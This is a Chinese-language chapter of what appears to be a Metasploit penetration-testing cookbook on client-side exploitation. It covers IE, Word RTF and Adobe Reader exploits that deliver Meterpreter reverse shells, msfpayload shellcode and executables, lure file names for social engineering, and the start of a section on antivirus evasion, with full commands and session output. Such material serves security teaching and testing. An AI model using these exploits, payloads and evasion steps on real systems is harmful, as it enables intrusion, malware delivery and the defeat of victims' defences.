第4章 客户端漏洞利用与防病毒软件规避

本章讲解下述内容:

● IE浏览器不安全脚本错误配置漏洞;

● IE浏览器CSS递归调用内存损坏漏洞;

● Microsoft Word RTF栈溢出漏洞;

● Adobe Reader util.printf()缓冲区溢出漏洞;

● 使用msfpayload生成二进制程序和shellcode;

● 使用msfencode规避客户端防病毒软件防护;

● 使用killav.rb脚本禁用防病毒软件;

● 深度解读Killav.rb脚本;

● 从命令行中关闭防病毒服务。

4.1 介绍

在上一章中,集中介绍了对目标操作系统的渗透测试。操作系统是对目标进行渗透的第一层次,因为未打补丁和补丁过期的操作系统很容易被攻击渗透,而不需要再花费时间寻找其他方法进行渗透。但是情况也是变化的,有时候目标网络中的防火墙会阻止扫描数据包,从而防止获取关于目标操作系统或开放端口的任何信息。

还有一种可能是,目标机器有自动升级功能,会定期对操作系统漏洞进行打补丁,从而阻止了对目标机器的攻击行为。类似这样的安全措施可以防止攻击者利用操作系统的已知漏洞来获取对目标机器的访问权限,由此就引出了客户端软件攻击渗透和防病毒软件规避。首先介绍典型的客户端攻击方法。

假定渗透测试人员判断目标机器安装的是Windows XP SP3操作系统并打了补丁,使用 IE7作为默认的浏览器访问Internet和其他Web相关服务。渗透测试人员伪造一个恶意的URL网址,其中包含了一个可执行脚本,具备对某个已知 IE 7漏洞的攻击渗透功能。现在构造一个看起来无害的HTML页面,并创建一个超链接,其中包含前面伪造的URL。接下来,测试人员利用社会工程学手段,将该HTML页面传送给目标用户,并诱使用户点击其中的恶意超链接,由于该链接中包含了对 IE 7漏洞的攻击代码,因此可以触发漏洞并执行恶意代码,从而导致测试人员实现对目标系统的控制,接下来可以进一步地进行设置后门、投放计算机病毒等操作。

发生了什么?尽管目标机器运行的是打了补丁并及时更新的Windows系统,但默认的IE 7浏览器没有及时升级或者被目标用户忽略了,从而使得渗透测试人员可以通过浏览器漏洞攻入目标系统。

刚才介绍的是一个简单的客户端攻击示例,目标机器在不知不觉中执行了一段脚本,该脚本中包含了对目标用户应用软件漏洞的攻击代码,成功执行后,攻击者就成功破坏了系统的安全性。

Metasploit中提供了大量针对几种流行软件的各类型的攻击模块,可用于执行客户端攻击。本章中将涉及的流行应用软件包括 Internet Explorer、Microsoft Office pack、Adobe reader及Flash等,Metasploit模型库中包含了一些针对这些流行软件的攻击模块,我们的目标是利用客户端漏洞成功攻击目标机器,并建立起到目标机器的shell连接。

Metasploit将这种渗透过程分为两个简单的步骤。

(1)针对不同的应用软件目标,生成相应的恶意链接/文件,并在特定端口启动目标反向连接监听进程,之后将恶意链接/文件发送给目标用户。

(2)目标机器执行恶意链接/文件后,就实现了对相应应用软件的攻击渗透,Metasploit会及时将攻击载荷传送给其他Windows进程,以便在目标应用软件崩溃(攻击代码执行导致)或用户关闭应用软件时仍能保持连通性。

对客户端攻击而言,通过这两个步骤就可以实现。本章主要关注Windows操作系统中的一些关键应用软件。首先分析基于浏览器漏洞的客户端攻击,包括 IE 6\7\8等多个版本浏览器中的多个已知的漏洞,以及怎样利用这些漏洞实现对目标机器的攻击渗透,接下来转向另一个流行的应用软件,即Microsoft Office 2003、2007,分析其文档格式漏洞和分析PDF漏洞,以及怎样利用恶意PDF文档攻击目标机器。最后(但并非最不重要)将讨论渗透测试中另一个重要方面,防病毒软件规避,其目标是破坏客户端的防病毒软件防护机制,以便在攻击渗透目标机器时不会触发告警。

本章将介绍Metasploit的全面功能,希望读者会喜欢阅读并实践,下面开始介绍本章的具体内容。

4.2 IE浏览器不安全脚本错误配置漏洞

首先来看一下第一个基于浏览器的客户端攻击。使用客户端攻击模块的基本要素和前面章节中讨论的其他模块是类似的,唯一的差别在于将攻击代码向目标用户的传送过程。与基于操作系统漏洞的攻击不同的是,客户端软件攻击需要人工地在目标机器上执行漏洞利用代码和攻击载荷。这些问题会随着示例演示的进行而更易被理解。

准备

首先启动 msfconsole 并选择相应的漏洞利用代码,其过程与此前各章节中讲述的都是类似的。之后,了解怎样选择用于与目标机器建立shell连接的攻击载荷,接下来的示例演示中将要使用的漏洞利用代码是 exploit/windows/browser/i.e.unsafe scripting。

已知这一漏洞影响 Internet Explorer 6、7,这是Windows XP、2003 Server各版本中的默认浏览器,但在作者安装IE 8(未打补丁)的Windows 7 ultimate 机器上,仍然可以成功利用。

这一漏洞利用代码需要目标机器的 IE浏览器中的 Initialize and script ActiveX controls not marked as safe设置选项被选中时才能发挥作用,启动 IE浏览器并通过Tools | Internet Options | Security | Custom Level | Initialize and script ActiveX controls not marked as safe |Enable这一路径可以找到该选项,如下图所示。

figure_0085_0016

在其他版本的IE浏览器中也可以进行类似设置。本示例将针对两个不同类型的目标,一个运行的是Windows XP SP2、IE 7,另一个运行的是Windows 7、IE 8,下面开始攻击过程。

怎样实现

启动msfconsole并将相应的exploit设置为活跃状态,成功渗透目标后,使用攻击载荷reverse_tcp建立与目标的连接。

msf > use exploit/windows/browser/ie_unsafe_scripting

msf exploit(ie_unsafe_scripting) > set payload windows/meterpreter/

reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(ie_unsafe_scripting) > show options

Module options (exploit/windows/browser/ie_unsafe_scripting):

Name Current Setting Required Description

---- --------------- -------- -----------

SRVHOST 0.0.0.0 yes The local host to..

SRVPORT 8080 yes The local port to..

SSL false no Negotiate SSL..

SSLCert no Path to a custom SSL..

SSLVersion SSL3 no Specify the version..

URIPATH no The URI to use for..

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique: seh..

LHOST yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Automatic

msf exploit(ie_unsafe_scripting) > set LHOST 192.168.56.101

LHOST => 192.168.56.101

漏洞利用代码和攻击载荷都已经设置为活跃状态,且没有对RHOST选项进行设置,因为这是客户端攻击。下面来看一下执行exploit命令的结果。

msf exploit(ie_unsafe_scripting) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.56.101:4444

[*] Using URL: http://0.0.0.0:8080/2IGIaOJQB

[*] Local IP: http://192.168.56.101:8080/2IGIaOJQB

[*] Server started.

从结果可以看到,exploit命令生成了一个恶意链接(http://192.168.56.101:8080/2IGIaoJQB),测试人员需要将该链接发送给目标主机,以便对目标主机上的浏览器进行攻击渗透,最后一行“server started”表明已经做好了在 4444端口监测来自目标主机反向连接的准备。首先来分析该链接在目标Windows XP机器上运行的结果。

目标机器浏览器尝试加载该恶意链接指向的页面,但最后没有展示任何内容,而是崩溃或者显示空白页。注意观察msfconsole,会产生如下所示的一些信息。

msf exploit(ie_unsafe_scripting) > [*] Request received from

192.168.56.102:1080...

[*] Encoding payload into vbs/javascript/html...

[*] Sending exploit html/javascript to 192.168.56.102:1080...

[*] Exe will be uunqgEBHE.exe and must be manually removed from the

%TEMP% directory on the target.

Sending stage (752128 bytes) to 192.168.56.102

[*] Meterpreter session 1 opened (192.168.56.101:4444 ->

192.168.56.102:1081) at 2011-11-12 21:09:26 +0530

目前,已经建立了与目标主机的活跃会话,从命令行输出还可以看出,在目标机器的temp目录下创建了一个可执行文件,该可执行文件是整个攻击渗透过程的执行者。

接下来看一下在安装Windows 7和 IE 8目标机器上点击恶意链接后的结果,如下图所示。

figure_0088_0017

可以看到,点击该链接后,IE 8会弹出一个告警消息提示,点击Allow按钮后,外部脚本就会在目标机器上运行,并导致浏览器崩溃或重启(依赖于系统)。

此时msfconsole报告了如下一些信息。

msf exploit(ie_unsafe_scripting) > [*] Request received from

192.168.56.1:51115...

[*] Encoding payload into vbs/javascript/html...

[*] Sending exploit html/javascript to 192.168.56.1:51115...

[*] Exe will be uddoE.exe and must be manually removed from the %TEMP%

directory on the target.

[*] Sending stage (752128 bytes) to 192.168.56.1

[*] Meterpreter session2opened (192.168.56.101:4444 ->

192.168.56.1:51116) at 2011-11-12 21:15:47 +0530

已经建立了与Windows 7目标机器的活跃会话,接下来在该会话中进行一些交互操作。

msf exploit(ie_unsafe_scripting) > sessions

Active sessions

===============

Id Type Information Connection

-- ---- ---------------------

1 meterpreter x86/win32 DARKLORD-9CAD38\darklord

2 meterpreter x86/win32 HackingAlert-PC\hackingalert

从结果可以看到,会话命令行展示了当前可用的活跃会话,分别是Win XP机器和Win7机器,下面与Win 7机器会话进行一些交互操作。

msf exploit(ie_unsafe_scripting) > sessions -i 1

meterpreter > shell

Process 4844 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7264]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

怎样工作

这个漏洞利用的工作过程十分清晰。下面分析导致这一漏洞的原因,当“Initialize and script ActiveX controls not marked safe for scripting”选项被选中时,允许对ActiveX控件WScript.Shell进行访问。WScript.Shell对象提供了读取文件系统、环境变量、读取并修改注册表、快捷方式管理等函数,从而使得攻击者可以利用该控件创建JavaScript脚本与目标机器文件系统进行交互并运行相应命令。

更多

下面介绍另一个重要的浏览器漏洞利用代码,它也可以在客户端攻击中使用。

Internet Explorer Aurora内存损坏

这是另一个广泛利用的 IE 漏洞,大概出现在 2010 年中期。这一漏洞是“Operation Aurora”的核心,攻击者利用这一漏洞攻击过一些顶级公司。Metasploit中对应的攻击模块主要针对 IE 6内存损坏漏洞进行的攻击,现在把这一攻击模块作为练习题留给读者去尝试,具体位置是exploit/windows/browser/ms10_002_aurora。

4.3 IE浏览器CSS递归调用内存损坏漏洞

这是运行 IE 浏览器的 Windows 平台上最新的可用漏洞之一,目前已知该漏洞影响Windows 7和 Windows 2008 server操作系统,默认情况下,这两个系统都使用 IE 8作为浏览器。该漏洞的工作过程与刚才讲过的类似,下面对其进行快速测试,目标机器是Windows 7 ultimate edition,默认安装了 IE 8(未打补丁)。

准备

首先启动msfconsole。漏洞利用代码为exploit/windows/browser/ms11_003_ie_css_import,攻击载荷选择的是windows/meterpreter/bind_tcp,用于建立与目标机器的shell连接。

怎样实现

工作方式与前面讲过的一样。首先选择相应的漏洞利用代码,然后选择攻击载荷,之后对漏洞利用代码和攻击载荷必需的参数进行正确设置。下面展示了在 msfconsole 中进行这些操作。

msf > use exploit/windows/browser/ms11_003_ie_css_import

msf exploit(ms11_003_ie_css_import) > set payload windows/meterpreter/

reverse_tcp

payload => windows/meterpreter/reverse_tcp

smsf exploit(ms11_003_ie_css_import) > set LHOST 192.168.56.101

LHOST => 192.168.56.101

msf exploit(ms11_003_ie_css_import) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.56.101:4444

[*] Using URL: http://0.0.0.0:8080/K9JqHoWjzyAPji

[*] Local IP: http://192.168.56.101:8080/K9JqHoWjzyAPji

[*] Server started.

从结果可以看到,exploit与payload及各种参数都已经正确设置。执行exploit命令后,攻击模块生成一个本地链接http://192.168.56.101:8080/K9JqHoWjzyAPji,这是包含了攻击代码的恶意链接,需要传送给目标机器,以便目标点击该链接并使用IE浏览器打开。打开后,目标机器的 IE 浏览器将完全“冻结”,并消耗大量的系统资源,目标机器将不得不关闭浏览器。下面是有关msfconsole上的情况。

[*] 192.168.56.1:52175 Received request for "/K9JqHoWjzyAPji/\xEE\x80\

xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\

xA0\xE1\x81\x9A"

[*] 192.168.56.1:52175 Sending

windows/browser/ms11_003_ie_css_import CSS

[*] Sending stage (752128 bytes) to 192.168.56.1

[*] Meterpreter session 1 opened (192.168.56.101:4444 ->

192.168.56.1:52176) at 2011-11-15 13:18:17 +0530

[*] Session ID 1 (192.168.56.101:4444 -> 192.168.56.1:52176) processing

InitialAutoRunScript 'migrate -f'

[*] Current server process: iexplore.exe (5164)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 5220

[+] Successfully migrated to process

在目标浏览器执行攻击代码后,msfconsole上将生成一个会话,并打开了到目标机器的shell连接,不过在建立msf和目标机器之间的shell连接会话之后,实际上还有一些其他操作:InitialAutoRunScript执行了migrate -f命令,该命令的作用是将攻击载荷从 iexplore.exe进程转移给notepad.exe进程。这一操作有助于保持持久连接,即便用户关闭了浏览器,但连通性仍将得以保持,因为shell连接已经转移到另外的进程。

怎样工作

下面深入了解有关这个漏洞的更多信息。该漏洞的名称准确地描述了导致该漏洞的原因,在Windows系统的HTML引擎(mshtml)分析一个多次导入相同CSS文件的HTML页面时,会导致内存损坏从而允许执行任意代码。观察下面的HTML代码段。

// html file

<link href="css.css" rel="stylesheet" type="text/css" />

// css file

*{

 color:red;

}

@import url("css.css");

@import url("css.css");

@import url("css.css");

@import url("css.css");

从上面代码段可以看出,相同的CSS文件共被调用了4次。Mshtml分析该HTML页面时,会导致内存损坏。这一漏洞利用代码结合使用了堆喷洒技术和.NET 2.0的mscorie.dll链接库模块,以便绕过DEP和ASLR等保护机制。由于过度的资源消耗,本漏洞会导致浏览器崩溃。成功利用这一漏洞后,攻击者会获取和已登录用户相同的权限。

figure_0092_0018

上图是点击恶意链接执行攻击代码后的 IE 页面实例,前台图是 Windows 系统的进程管理器,从中可以清晰地看到IE浏览器的过度内存消耗,还需要注意的就是其中有一个notepad.exe进程,虽然系统中没有运行记事本程序,但任务管理器中仍然有相应进程,很显然是因为攻击载荷已经从 iexplorer.exe迁移到notepad.exe,所以此时该进程在后台运行。

更多

使用该攻击模块时会遇到一个常见的错误,下面快速浏览该错误并找到合适的解决方案。

Missing .NET CLR 2.0.50727

使用这一漏洞攻击模块时,可能会产生一条错误消息提示“Target machine does not have the .NET CLR 2.0.50727”,产生这一错误的原因是.Net的问题,主要是因为 IE浏览器没有被设置为默认浏览器,因此 user agent会从非ASLR区域取回地址。将 IE浏览器设置为默认浏览器可避免这一错误发生。

4.4 Microsoft Word RTF栈溢出漏洞

前面两个漏洞示例都是浏览器相关的漏洞,本节将关注的是Windows中另一个常用软件Microsoft Office。RTF栈溢出漏洞在Office 2010和Office 2007版本中都存在。该漏洞存在于Microsoft Word RTF分析器对 pfragments属性的处理过程中,下面会对该漏洞进行详细分析,目标机器是安装适当Office版本的Windows系统。

准备

首先启动msfconsole,本示例中将要演示的漏洞在exploit/windows/fileformat/ms10_087_ rtf_pfragments_bof,要使用的攻击载荷是 windows/meterpreter/reverse_tcp,用于建立于目标的shell连接。

怎样实现

工作过程与前面讲的其他漏洞示例类似,首先设置exploit,然后选择payload,之后设置正确的参数以保证成功执行。开始执行这些操作步骤。

msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

msf exploit(ms10_087_rtf_pfragments_bof) > set payload windows/

meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(ms10_087_rtf_pfragments_bof) > show options

Module options (exploit/windows/fileformat/ms10_087_rtf_pfragments_bof):

 Name Current Setting Required Description

 ---- --------------- -------- -----------

 FILENAME msf.rtf yes The file name.

Payload options (windows/meterpreter/reverse_tcp):

 Name Current Setting Required Description

 ---- --------------- -------- -----------

 EXITFUNC process yes Exit technique: seh..

 LHOST yes The listen address

 LPORT 4444 yes The listen port

Exploit target:

 Id Name

 -- ----

 0 Automatic

该漏洞利用代码包含FILENAME参数,其中存放的是创建的恶意文件名称,默认名是msf.rtf,一般需要更改为不太容易引起怀疑的文件名。还需要设置的是LHOST参数值,该参数是攻击方机器的IP地址。

msf exploit(ms10_087_rtf_pfragments_bof) > set FILENAME priceinfo.rtf

FILENAME => priceinfo.rtf

msf exploit(ms10_087_rtf_pfragments_bof) > set LHOST 192.168.56.101

上面的命令将文件名设置为 priceinfo.rtf,LHOST 则设置为 192.168.56.101,这样必要的参数已经设置完毕。

msf exploit(ms10_087_rtf_pfragments_bof) > exploit

[*] Creating 'priceinfo.rtf' file ...

[+] priceinfo.rtf stored at /root/.msf4/local/priceinfo.rtf

执行上面的命令后,Metasploit将创建一个用来进行客户端攻击的恶意文件,该文件位于/root/.msf4/local/priceinfo.rtf。下一步通过电子邮件或其他媒介将该文件发送给目标用户,目标用户打开该恶意文件后,会发现打开了word文档,打开数秒后,Microsoft Word实例将挂起或崩溃(取决于不同系统),同时,恶意文件成功执行漏洞利用代码,并建立了到目标主机的活跃会话。为保持该连接的持久性,攻击代码会将控制权限转移到某个后台运行的隐蔽进程。

Sending stage (752128 bytes) to 192.168.56.1

[*] Meterpreter session2opened (192.168.56.101:4444 ->

192.168.56.1:57031) at 2011-11-13 23:16:20 +0530

[*] Session ID2(192.168.56.101:4444 -> 192.168.56.1:57031) processing

InitialAutoRunScript 'migrate -f'

[*] Current server process: WINWORD.EXE (5820)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 5556

[+] Successfully migrated to process

开始的几行命令成功执行漏洞利用代码,并创建了SESSION ID为 2的活跃会话,后面几行命令表明攻击载荷成功地从WINWORD.EXE迁移到notepad.exe。

怎样工作

该漏洞攻击模块创建了一个恶意Word文档,该文档将非法值传递给Word分析器,分析器无法识别非法值从而导致缓冲区溢出。然后攻击载荷开始运行,并建立与攻击方机器的反向连接。这一漏洞攻击是否成功取决于目标机器自身状况,因为Windows ASLR(地址空间布局随机化)会阻止执行任意代码(攻击载荷)。

更多

Office软件还有另外一个流行的漏洞,留给读者作为练习,这里只对其进行简单介绍。

Microsoft Excel 2007缓冲区溢出漏洞

这一已知漏洞针对的是Microsoft Excel 2007(.xlb),执行恶意 xlb文件导致栈溢出并执行任意代码。该漏洞利用代码在exploit/windows/fileformat/ms11_021_xlb_bof。

4.5 Adobe Reader util.printf()缓冲区溢出漏洞

PDF 是一种广泛应用的文档格式,用于共享各种文件和文档,因此经常被攻击者用来攻击目标机器。Adobe Reader是最流行的 PDF文档阅读工具之一,本漏洞存在于 Adobe Reader 8.1.3之前的版本,该漏洞利用代码创建恶意PDF文档,在使用存在本漏洞的Adobe Reader打开时,会导致缓冲区溢出并允许执行任意代码。

准备

该漏洞利用过程与本章中讨论的其他漏洞非常类似。几乎所有客户端攻击的工作方式都是类似的,首先都是生成一个恶意文件/链接,然后以某种方式诱使目标用户在目标机器上执行,因此客户端攻击同时也包含了社会工程学手段。本示例针对的目标机器是 Windows XP SP3,运行Adobe Reader version 8.1。

首先启动 msfconsole,使用 exploit/windows/fileformat/adobe_utilprintf 模块,攻击载荷模块为windows/meterpreter/reverse_tcp。

怎样实现

首先选择漏洞利用代码模块并将其设置为活跃状态,然后选择攻击载荷,接下来传递各种必要的参数值。在msfconsole中完成这些步骤。

msf > use exploit/windows/fileformat/adobe_utilprintf

msf exploit(adobe_utilprintf) > set payload windows/meterpreter/reverse_

tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(adobe_utilprintf) > show options

Module options (exploit/windows/fileformat/adobe_utilprintf):

 Name Current Setting Required Description

 ---- --------------- -------- -----------

 FILENAME msf.pdf yes The file name.

Payload options (windows/meterpreter/reverse_tcp):

 Name Current Setting Required Description

 ---- --------------- -------- -----------

 EXITFUNC process yes Exit technique: seh..

 LHOST yes The listen address

 LPORT 4444 yes The listen port

Exploit target:

 Id Name

 -- ----

 0 Adobe Reader v8.1.2 (Windows XP SP3 English)

从结果可以看到,列出的Adobe Reader版本为 8.1.2,操作系统为Windows XP SP3。因此,本漏洞利用代码能否成功执行高度依赖于目标机器使用的操作系统和Adobe Reader软件版本。

该漏洞利用模块包含名为FILENAME的参数,将其设置为默认值,该参数代表的是待创建的恶意 PDF 文档名,将其更改为不容易引起怀疑的文档名称,另外还需要将 LHOST参数设置为攻击方机器的IP地址。

msf exploit(adobe_utilprintf) > set FILENAME progressreport.pdf

FILENAME => progressreprt.pdf

msf exploit(adobe_utilprintf) > set LHOST 192.168.56.101

LHOST => 192.168.56.101

现在已经准备就绪,接下来运行exploit命令生成恶意PDF文档以备在客户端攻击时使用。

msf exploit(adobe_utilprintf) > exploit

[*] Creating 'progressreport.pdf' file...

[+] progressreport.pdf stored at /root/.msf4/local/progressreport.pdf

从结果可以看到,已创建了名为progressreport.pdf的恶意文件,并存储在/root/.msf4/local文件夹中。

本示例将采用一些不同的方法启动用于反向连接的监听器。假定某些情况下必须突然关闭msfconsole,那么怎么继续漏洞利用过程?必须再次创建恶意PDF文档么?答案是不需要。Metasploit中包含特殊的监听器模块,可在msfconsole中启动监听器,以便用于为在客户端攻击中创建但还未使用的恶意文件/链接恢复渗透测试过程。假定已经创建了恶意PDF 文档,但还没用来执行客户端攻击,那么重启 msfconsole,并使用 exploit/multi/handler模块来为反向连接建立监听器。

msf > use exploit/multi/handler

msf exploit(handler) > show options

Module options (exploit/multi/handler):

 Name Current Setting Required Description

 ---- --------------- -------- -----------

Exploit target:

 Id Name

 -- ----

 0 Wildcard Target

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > show options

Module options (exploit/multi/handler):

 Name Current Setting Required Description

 ---- --------------- -------- -----------

Payload options (windows/meterpreter/reverse_tcp):

 Name Current Setting Required Description

 ---- --------------- -------- -----------

 EXITFUNC process yes Exit technique: she..

 LHOST yes The listen address

 LPORT 4444 yes The listen port

Exploit target:

 Id Name

 -- ----

 0 Wildcard Target

msf exploit(handler) > set LHOST 192.168.56.101

LHOST => 192.168.56.101

从结果可以看到,上述代码建立了multi/handler模块,并为其添加了攻击载荷。下一步根据具体需要添加LHOST和LPORT选项,还有一个与multi/handler模块一起运行的额外脚本,将在下一章进行讨论。最后执行exploit命令并启动监听器。

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.56.101:4444

现在反向连接监听器已经建立并运行,做好了接收目标机器执行恶意PDF文档并反向连接的准备。

恶意PDF文档在目标机器上执行以后,会导致机器完全“冻结”,Adobe Reader软件也处于完全挂起的状态,即导致目标系统的拒绝服务。之所以会造成系统崩溃,是因为恶意PDF文件引发了缓冲区溢出。攻击成功后,在攻击方机器上可以看到有meterpreter会话启动,并且此时可以对目标机器进行远程操控。

[*] Started reverse handler on 192.168.56.101:4444

[*] Starting the payload handler...

[*] Sending stage (752128 bytes) to 192.168.56.102

[*] Meterpreter session 1 opened (192.168.56.101:4444 ->

192.168.56.102:1035) at 2011-11-25 12:29:36 +0530

meterpreter > shell

Process 1880 created.

Channel 1 created.

Microsoft Windows XP SP3

(C) Copyright 1985-2001 Microsoft Corp.

E:\>

怎样工作

这一漏洞的根源在于某些版本的Adobe Reader软件中 JavaScript函数util.printf()的实现出现了错误。该函数首先将其接收的参数转换为字符串,但只使用最开始的16个数字,其余部分则使用固定值 0(十六进制形式为 0x30)进行填充,如果向该函数传递一个超过长度值上限而又精心设计过的命令,就需要重写程序内存并控制其执行流程。该 Metasploit模块创建特殊定制的 PDF 文档,其中嵌入了对程序内存分配模式进行操控的 JavaScript 代码,并可以触发该漏洞,同时允许攻击者以Adobe Reader应用程序运行者的用户权限执行任意代码。观察PDF中嵌入的这两行JavaScript代码。

var num = 1.2

util.printf("%5000f",num)

这两行简单的JavaScript代码的功能是将字节0x20在栈中复制5000次,从而可以控制异常处理程序,并在尝试写入栈后的内存段时触发异常。

4.6 使用msfpayload生成二进制程序和shellcode

到目前为止,讨论过的很多技术都可以用于在客户端攻击中,对目标机器进行攻击渗透,所有这些技术都涉及到利用目标机器中各种应用程序的漏洞,但是在一些场景中,前面讨论的这些技术无法发挥作用,而为了获取访问权限,必须对一些应用程序软件进行攻击渗透。

Metasploit还具备另一种功能,利用这种功能,也可以执行客户端攻击,而又不必担心对目标机器运行的应用软件的攻击渗透问题。可利用Msfpayload解决这一问题,首先对其进行快速介绍,然后对其进行实践。

Msfpayload是Metasploit的一个命令行实例,可用于生成Metasploit仓库中可用的各种文件类型的shellcode,包括C、Ruby、Raw、Exe、Dll、VBA及War,可以使用msfpayload将Metasploit shellcode转换成为上面这些文件格式中的任意一种,之后将其传送到目标机器上执行后,攻击者将建立起到目标机器的活跃会话。这种方式降低了利用目标机器上应用程序软件漏洞进行攻击的难度,此外,msfpayload另一个优点是可用于生成以特定程序设计语言形式存在的自定义shellcode,例如C、Ruby等,并可用于攻击者自己的漏洞利用程序开发代码中。

Msfpayload 的主要缺点是,其生成的文件在目标机器上执行时很容易被防病毒程序检测出来。接下来继续介绍msfpayload在渗透测试过程中所起到的作用。

准备

首先启动BackTrack终端,然后使用msfpayload –h命令查看其用法。

root@bt:~# msfpayload -h

 Usage: /opt/framework3/msf3/msfpayload [<options>] <payload>

[var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>

使用msfpayload –l命令,查看可用的shellcode列表,执行后可以得到一个容量很大的可用shellcode列表。

怎样实现

下面介绍怎样生成特定的、自定义的、C语言形式的shellcode。

下面使用攻击载荷windows/shell/reverse_tcp生成其C语言形式的shellcode,首先选取相应的攻击载荷并传递各种必要的参数值。

root@bt:~# msfpayload windows/shell/reverse_tcp o

 Name: Windows Command Shell, Reverse TCP Stager

 Module: payload/windows/shell/reverse_tcp

 Version: 10394, 11421

 Platform: Windows

  Arch: x86

Needs Admin: No

 Total size: 290

  Rank: Normal

Basic options:

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique: seh..

LHOST yes The listen address

LPORT 4444 yes The listen port

要注意shellcode攻击载荷各种参数命令行中的o参数。要生成自定义形式的shellcode,必须传递该值。

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101

LPORT=4441 o

下面根据实际需要设置LHOST与LPORT参数,然后生成自定义shell的C代码(下面的输出内容已进行了削减以便于展示)。

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101

LPORT=4441 C

/*

* windows/shell/reverse_tcp - 290 bytes (stage 1)

* http://www.metasploit.com

* VERBOSE=false, LHOST=192.168.56.101, LPORT=4441,

* ReverseConnectRetries=5, EXITFUNC=process,

* InitialAutoRunScript=, AutoRunScript=

*/

unsigned char buf[] =

"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"

"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"

"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"

"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"

"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"

"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"

"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"

"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"

"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"

上面的程序中需要注意命令行中大写的C参数,以及生成C语言格式的完整shellcode,这段shellcode可在我们自己的漏洞利用代码开发中使用。同样地,也可以使用其他选项生成Ruby或Perl格式的代码。

接下来展示生成shellcode的二进制可执行程序,该段程序也可以在客户端攻击中使用。

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 X >

.local/setup.exe

Created by msfpayload (http://www.metasploit.com).

Payload: windows/shell/reverse_tcp

Length: 290

Options: {"LHOST"=>"192.168.56.101"}

上面的程序中需要注意命令行中传递的各种参数,参数X表明要生成exe类型文件,生成文件所在文件夹为.local,名称为setup.exe,该exe文件可用在客户端攻击中。

怎样工作

可执行文件生成完毕后,接下来在 msfconsole 中建立监听程序,以便在目标机器上执行该exe文件时对反向连接进行监听。

msf > use multi/handler

msf exploit(handler) > set payload windows/shell/reverse_tcp

payload => windows/shell/reverse_tcp

msf exploit(handler) > set LHOST 192.168.46.101

msf exploit(handler) > exploit

[-] Handler failed to bind to 192.168.46.101:4444

[*] Started reverse handler on 0.0.0.0:4444

[*] Starting the payload handler

上面的程序中需要注意的是,使用的攻击载荷与传递的参数和生成可执行文件时所用到的是相同的。目前,监听程序已经做好接收反向连接的准备,目标用户(运行的操作系统是Windows 7之前操作系统)执行恶意 exe文件后,攻击者可建立与目标机器的shell连接。

4.7 使用msfencoe规避客户端防病毒软件防护

在前面的内容中,主要关注的是怎样生成可执行程序形式的 shellcode,并将其用作客户端攻击的武器。但是问题在于,这样的可执行程序很容易被客户端防病毒软件检测出来,阻止其执行并产生告警信息。那么该怎么解决这一问题?这就引出了攻击矢量,即规避防病毒软件保护。对可执行程序进行编码是一种有效的技术。

防病毒软件使用一种基于签名的技术,这种技术主要是将文件的前面少数几行与签名特征数据库进行比较,验证被检测文件中是否存在潜在威胁,如果与签名特征匹配,则该文件被视为威胁。要规避防病毒软件,就必须对这种防病毒技术进行研究和规避。Msfencode是一种可对shellcode进行编码的有效工具,可降低其被防病毒软件检测出来的几率,该工具还包含有大量的编码选项。

学习本节内容时要记住一件重要的事情,即本节中讲述的技术方法能否取得成功依赖于两个因素,一个是shellcode类型,一个是目标机器上运行的防病毒软件的类型。本节中涉及大量实验,用以检测针对不同类型的shellcode使用不同类型编码方法规避特定类型的防病毒软件。这里有两个目标机器,其一运行Windows XP SP2,安装了免费版的AVG 10,其二运行Windows 7 Ultimate,安装了完全版的ESET NOD32并且升级到最新。首先讨论使用简单的技术规避过期未更新的防病毒软件,但被该防病毒软件的最新版检测出来,然后讨论另一种规避升级到最新的防病毒软件。

准备

Msfencode 通常会被 msfpayload 命令进行“管道化”使用,以便对其生成的 shellcode进行编码,这可以减少一些工作步骤。首先启动msfencode,执行msfencode -h命令可列出各种可用的参数,使用msfencode –l可列出各种编码类型。

root@bt:~# msfencode -l

Framework Encoders

==================

Name Rank Description

---- ---- -----------

